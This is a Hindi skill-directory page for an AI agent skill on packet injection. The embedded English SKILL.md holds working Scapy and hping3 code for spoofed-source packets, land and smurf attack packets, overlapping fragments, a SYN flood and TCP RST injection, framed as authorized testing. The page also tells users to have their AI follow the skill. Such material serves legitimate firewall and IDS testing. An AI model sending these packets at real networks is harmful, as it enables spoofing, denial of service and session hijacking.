मुख्य सामग्री पर जाएँ
Skillpedia
सामान्य कोडिंग35k · #8280

performing-packet-injection-attack

यह क्या करती है

यह टूल आपको अपने नेटवर्क की सुरक्षा टेस्ट करने के लिए कस्टम नेटवर्क पैकेट भेजने देता है। आप अलग-अलग तरह के ट्रैफ़िक की नकल करके देख सकते हैं कि firewall और intrusion detection सिस्टम कैसे प्रतिक्रिया देते हैं।

कब इस्तेमाल करें

  • ✓यह टेस्ट करते समय कि firewall कोई खास ट्रैफ़िक ब्लॉक करता है या नहीं।
  • ✓यह जाँचते समय कि सुरक्षा सिस्टम दुर्भावनापूर्ण पैकेट पकड़ता है या नहीं।
  • ✓नेटवर्क कैसा बर्ताव करता है, यह देखने के लिए हमले की नकल करते समय।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-packet-injection-attack/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-packet-injection-attack/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“10.10.20.10 के पोर्ट 80 पर spoofed source IP के साथ एक TCP SYN पैकेट भेजो।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

टूल Scapy जैसे प्रोग्राम का इस्तेमाल करता है, जो खास सेटिंग वाले नेटवर्क पैकेट बनाते हैं। ये पैकेट टारगेट नेटवर्क पर भेजे जाते हैं ताकि जवाब देखे जा सकें और बचाव की जाँच हो सके।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Performing Packet Injection Attack

When to Use

  • Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
  • Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
  • Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
  • Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
  • Performing TCP reset injection to test connection resilience and session hijacking scenarios

Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.

Prerequisites

  • Written authorization specifying in-scope targets and approved packet injection techniques
  • Scapy, hping3, and Nemesis installed on the testing platform
  • Root/sudo privileges for raw socket access and packet crafting
  • Wireshark or tcpdump on the target side to verify packet delivery
  • Understanding of TCP/IP protocol internals, header fields, and flag combinations

Workflow

Step 1: Craft and Send Basic Test Packets with Scapy

#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""

from scapy.all import *

# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
    if response[TCP].flags == "SA":
        print(f"[*] Port 80 is OPEN (SYN-ACK received)")
    elif response[TCP].flags == "RA":
        print(f"[*] Port 80 is CLOSED (RST-ACK received)")

# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")

# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")

# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")

# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
    print(f"[*] DNS response received from {response[IP].src}")

Step 2: IP Spoofing and Anti-Spoofing Validation

#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""

from scapy.all import *

# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")

# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")

# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")

# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24)  # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")

Step 3: TCP Session Manipulation

# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10

# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets

# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window

# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""

from scapy.all import *

# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
        rst = IP(
            src=pkt[IP].dst,

…
अक्सर पूछे जाने वाले सवाल

क्या इस टूल के लिए अनुमति चाहिए?

हाँ, किसी भी नेटवर्क की टेस्टिंग के लिए लिखित अनुमति ज़रूरी है, क्योंकि पैकेट भेजना हमले की तरह समझा जा सकता है।

कौन से प्रोग्राम ज़रूरी हैं?

आपको Scapy, hping3 और Nemesis इंस्टॉल करने होंगे, और पैकेट भेजने के लिए administrator अधिकार (root/sudo) चाहिए।

क्या मैं इससे सिस्टम पर हमला कर सकता हूँ?

नहीं, यह टूल सिर्फ़ अधिकृत सुरक्षा टेस्टिंग के लिए है। असली हमले के लिए या बिना अनुमति इसका इस्तेमाल गैर-कानूनी और अनैतिक है।

जानकारी

लेखक का मूल विवरण

Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic. '

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#8280
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills